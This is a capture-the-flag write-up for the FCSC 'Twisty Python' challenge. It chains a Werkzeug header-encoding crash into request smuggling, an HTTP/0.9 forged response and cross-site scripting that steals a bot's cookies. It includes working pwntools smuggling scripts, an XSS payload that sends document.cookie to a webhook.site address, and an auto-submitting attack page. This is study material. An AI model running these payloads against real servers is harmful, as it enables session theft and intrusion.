Writeup by _worty for Twisty Python

web python

April 15, 2024

Table of contents

Solution

When you download the source code for this challenge, you’ll notice a simple flask application that lets you play the snake game and create a leaderboard with it, as well as a bot.

If you pay attention to the bot’s source code, you’ll notice that it can be supplied with any URL. If we pay attention to the source code, there’s no way to trigger a CSRF to store an XSS in the bot.

Inside the application, we can see that it’s possible to change the color of the frontend, this is done by sending a request to /api?action=color&color=red and the backend will set a cookie called “color”.

This is a hard challenge so …

meme

issue_werkzeug

As we control one value of a header in the response (the Set-Cookie one), this mean that if we perform the following curl request:

$  curl "http:/localhost:8000/api?action=color&color=%ef%bb%bf" -ski

We will not have any response from the server because of an error:

$ docker logs twisty
[...]
172.26.0.1 - - [13/Apr/2024 15:34:13] "GET /api?action=color&color= HTTP/1.1" 200 -
Error on request:
Traceback (most recent call last):
  File "/usr/lib/python3.11/site-packages/werkzeug/serving.py", line 362, in run_wsgi
    execute(self.server.app)
  File "/usr/lib/python3.11/site-packages/werkzeug/serving.py", line 328, in execute
    write(b"")
  File "/usr/lib/python3.11/site-packages/werkzeug/serving.py", line 266, in write
    self.send_header(key, value)
  File "/usr/lib/python3.11/http/server.py", line 526, in send_header
    ("%s: %s\r\n" % (keyword, value)).encode('latin-1', 'strict'))
UnicodeEncodeError: 'latin-1' codec can't encode character '\ufeff' in position 18: ordinal not in range(256)

But if we take a look closer to the issue, we can see that the body of the request that made crash flask is considered as another request:

$ curl "http:/localhost:8000/api?action=color&color=%ef%bb%bf" -ski -d $'GET / HTTP/1.1\r\n\r\n'
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Date: Sat, 13 Apr 2024 15:38:49 GMT
Content-Type: text/plain

This can be confirmed by looking at the logs of the application:

$ docker logs twisty
172.26.0.1 - - [13/Apr/2024 15:38:49] "POST /api?action=color&color= HTTP/1.1" 200 -
Error on request:
Traceback (most recent call last):
  File "/usr/lib/python3.11/site-packages/werkzeug/serving.py", line 362, in run_wsgi
    execute(self.server.app)
  File "/usr/lib/python3.11/site-packages/werkzeug/serving.py", line 328, in execute
    write(b"")
  File "/usr/lib/python3.11/site-packages/werkzeug/serving.py", line 266, in write
    self.send_header(key, value)
  File "/usr/lib/python3.11/http/server.py", line 526, in send_header
    ("%s: %s\r\n" % (keyword, value)).encode('latin-1', 'strict'))
UnicodeEncodeError: 'latin-1' codec can't encode character '\ufeff' in position 18: ordinal not in range(256)
ImmutableMultiDict([])
172.26.0.1 - - [13/Apr/2024 15:38:49] "GET / HTTP/1.1" 200 -

This behavior allows us to perform a request smuggling attack on the application !

Werkzeug is an old web-server and support old HTTP versions such as HTTP/0.9. For an attacker performing request smuggling, the advantage of HTTP/0.9 is that only the body of the response is returned by the web-server, there’s no concept of headers.

This explanation comes as a bit of a surprise, but there’s another functionality inside the application, that allows a player to store is current score and a name inside a session cookie.

Also, you may find it odd to talk about HTTP/0.9 since no recent browser supports this version of the protocol, but the vulnerability presented above may allow us to use this obsolete version!

This is all the more interesting as the response with the request smuggling payload is incorrect from a browser’s point of view:

from pwn import *

unicode_payload = f"""
POST /api?action=color&color=%ef%bb%bf&callback=a HTTP/1.1\r
Host: localhost:8000\r
Connection: Keep-Alive\r
\r"""[1:]

payload = f"""
{unicode_payload}
GET / HTTP/1.1\r
Host: foo\r
\r
"""[1:].encode()
io = remote("localhost", 8000)
io.send(payload)
result = io.recvall()
print(result.decode().replace("\r",""))
$ python3 script.py
[+] Opening connection to localhost on port 8000: Done
[+] Receiving all data: Done (2.06KB)
[*] Closed connection to localhost port 8000
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Date: Sat, 13 Apr 2024 16:27:15 GMT
Content-Type: text/plain
Content-Length: 1
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Date: Sat, 13 Apr 2024 16:27:15 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2114
[...]

As there is two “Content-Length” header in the response, the page will crash with the error “Multiple Content-Length in response”, but, if we perform the second using without the “HTTP/1.1” identifier, we observe that werkzeug identify this as a HTTP/0.9 request:

from pwn import *

unicode_payload = f"""
POST /api?action=color&color=%ef%bb%bf&callback=a HTTP/1.1\r
Host: localhost:8000\r
Connection: Keep-Alive\r
\r"""[1:]

payload = f"""
{unicode_payload}
GET /\r
Host: foo\r
\r
"""[1:].encode()
io = remote("localhost", 8000)
io.send(payload)
result = io.recvall()
print(result.decode().replace("\r",""))
$ python3 script.py
[+] Opening connection to localhost on port 8000: Done
[+] Receiving all data: Done (2.06KB)
[*] Closed connection to localhost port 8000
<!DOCTYPE html>
<html lang="en">
[...]

As describe in the RFC of the HTTP protocol, for the 0.9 version, there isn’t any header, but this is still not valid for chrome as, there isn’t any header.

meme2

There is a last endpoint on the application, used to retrieve the current scoreboard of a user by decoding is session. We can use a GET parameter called “raw” to return the response as plain-text, and this is perfect for us. In fact, if we manage to store inside the session a complete HTTP response and use the HTTP/0.9 protocol, we can fake the response and the browser will interpret it.

Inside the flask application, the same key is used to encrypt session information between users, we can therefore make a legitimate request to the /api?action=add endpoint to create a cookie that will store our malicious response.

Let’s verify our theory:

from pwn import *
import requests

url = "http://localhost:8000/api?action=add"
json = {"name": "HTTP/1.1 200 OK\u000D\u000AContent-Type: text/html\u000D\u000AContent-Length: 144\u000D\u000A\u000D\u000A<img src=x onerror='window.location.href=\"https://webhook.site/13c15e04-c47b-4cfe-868b-4dfeb41986b7/?data=\".concat(btoa(document.cookie))'>", "score": 0}
res = requests.post(url, json=json)
session = res.cookies.get_dict()['session']

unicode_payload = f"""
POST /api?action=color&color=%ef%bb%bf&callback=a HTTP/1.1\r
Host: localhost:8000\r
\r"""[1:]

payload = f"""
{unicode_payload}
GET /api?action=view&raw=1\r
Cookie: session={session};\r
\r
"""[1:].encode()
io = remote("localhost", 8000)
io.send(payload)
result = io.recvall()
print(result.decode().replace("\r",""))
$ python3 script.py
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 144

<img src=x onerror='window.location.href="https://webhook.site/13c15e04-c47b-4cfe-868b-4dfeb41986b7/?data=".concat(btoa(document.cookie))'> -> 0

We are now able to arbitrary control a response, and we can perform a classic XSS to leak the cookie of the bot !

Before we can recover our precious flag, we have to found a way to trigger this from a classic webpage. By reading an article from Kevin Mizu on a similar vulnerability on werkzeug, we can see that we can use a form tag using enctype="text/plain" to send our malicious request !

So I came up with the following script to trigger the vulnerability and recover the first flag:

import requests
from base64 import b64encode

url = "https://twisty-python.france-cybersecurity-challenge.fr/api?action=add"
json = {"name": "HTTP/1.1 200 OK\u000D\u000AContent-Type: text/html\u000D\u000AContent-Length: 144\u000D\u000A\u000D\u000A<img src=x onerror='window.location.href=\"https://webhook.site/13c15e04-c47b-4cfe-868b-4dfeb41986b7/?data=\".concat(btoa(document.cookie))'>", "score": 0}
res = requests.post(url, json=json)
session = res.cookies.get_dict()['session']

payload = f"GET /api?action=view&raw=1\r\nCookie: session={session};\r\n\r\n"
payloadb64 = b64encode(payload.encode()).decode()

from flask import Flask, Response
app = Flask(__name__)

@app.route("/")
def index():
    return f"""<form id="send" method="POST" enctype='text/plain' action="http://127.0.0.1:8000/api?action=color&color=%ef%bb%bf&callback=aaaaaaaaa">
              <input id="payload"/>
              </form>
<script>
document.getElementById('payload').name = atob('{payloadb64}');
document.getElementById('send').submit();
</script>"""

app.run("0.0.0.0", 5000)

We store this payload on a web server:

$ python3 solve.py
 * Serving Flask app 'solve'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:5000
 * Running on http://194.163.166.19:5000
Press CTRL+C to quit
5.196.58.160 - - [13/Apr/2024 18:50:43] "GET / HTTP/1.1" 200 -

We receive a request on the webhook, and we can read the flag:

$ echo "ZmxhZ19tZWRpdW09RkNTQ3tlYzBmNGYyY2Q0MTdmMDc4OGVmZDkwOTc2N2IwYzI2OTBmMTFiZWRiNDE4YjJkNzc3M2U2YzlhNjUzN2M3YTI2fQ=="  | base64 -d

flag_medium=FCSC{ec0f4f2cd417f0788efd909767b0c2690f11bedb418b2d7773e6c9a6537c7a26}

Flag

FCSC{ec0f4f2cd417f0788efd909767b0c2690f11bedb418b2d7773e6c9a6537c7a26}